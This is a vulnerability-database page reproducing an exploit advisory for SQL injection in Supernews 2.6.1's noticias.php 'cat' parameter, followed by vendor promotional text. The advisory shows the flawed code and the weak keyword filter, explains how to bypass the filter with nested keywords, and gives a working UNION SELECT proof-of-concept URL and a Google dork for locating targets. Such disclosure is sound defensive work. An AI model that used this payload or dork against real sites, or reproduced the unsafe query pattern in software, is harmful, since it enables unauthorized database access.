Lucene search
K

Supernews <= 2.6.1 (noticias.php cat) SQL Injection

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 37 Views

Supernews <= 2.6.1 SQL Injection via noticias.php cat paramete

Code

                                                ##########################################################################
## Supernews &#60;= 2.6.1 (noticias.php cat) Remote SQL Injection
## Google Dork: intext:&#34;2003 - 2004 : SuperNews : Todos os direitos reservados&#34;
## Bug discovered by Pr0T3cT10n, &#60;[email protected]&#62;
## Date: 31/05/2012
## Version: 2.6.1
## Software Link: http://phpbrasil.com/script/vT0FaOCySSH/supernews
## ISRAEL
##########################################################################
##          Author will be not responsible for any damage.
##########################################################################
## Vulnerable Code - noticias.php [30-31]:
30.	$idcategoria = formatDados($_GET[&#39;cat&#39;]);
31.	$query = mysql_query(&#34;SELECT id, categoria FROM {$prefixdb}notcategorias WHERE id=$idcategoria ORDER BY categoria&#34;);

## NOTE:
## As you can see there is filter to variable $idcategoria.

## Function code - funcao.php [106-112]:
106.function formatDados($data) { 
107.	$data = strip_tags($data);
108.	$data = trim($data);
109.	$data = get_magic_quotes_gpc() == 0 ? addslashes($data) : $data;
110.	$data = preg_replace(&#34;@(--|\#|\*|;|select|union|drop|insert|delete|xp_|\=| or |-shutdown|update| and |&|&#39;)@s&#34;, &#34;&#34;, $data);
111.	return $data;
112.}

## As you can see, this function can be bypassed easily by the following example:
# string &#39;uniunionon&#39; will replace to clean &#39;union&#39;
# string &#39;seleselectct&#39; will replace to clean &#39;select&#39;

## SQL Injection PoC:
## http://www.example.com/noticias.php?cat=-1+uniunionon+seleselectct+1,version()--
##########################################################################
# Cya :)
# 0x31337.net
##########################################################################

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation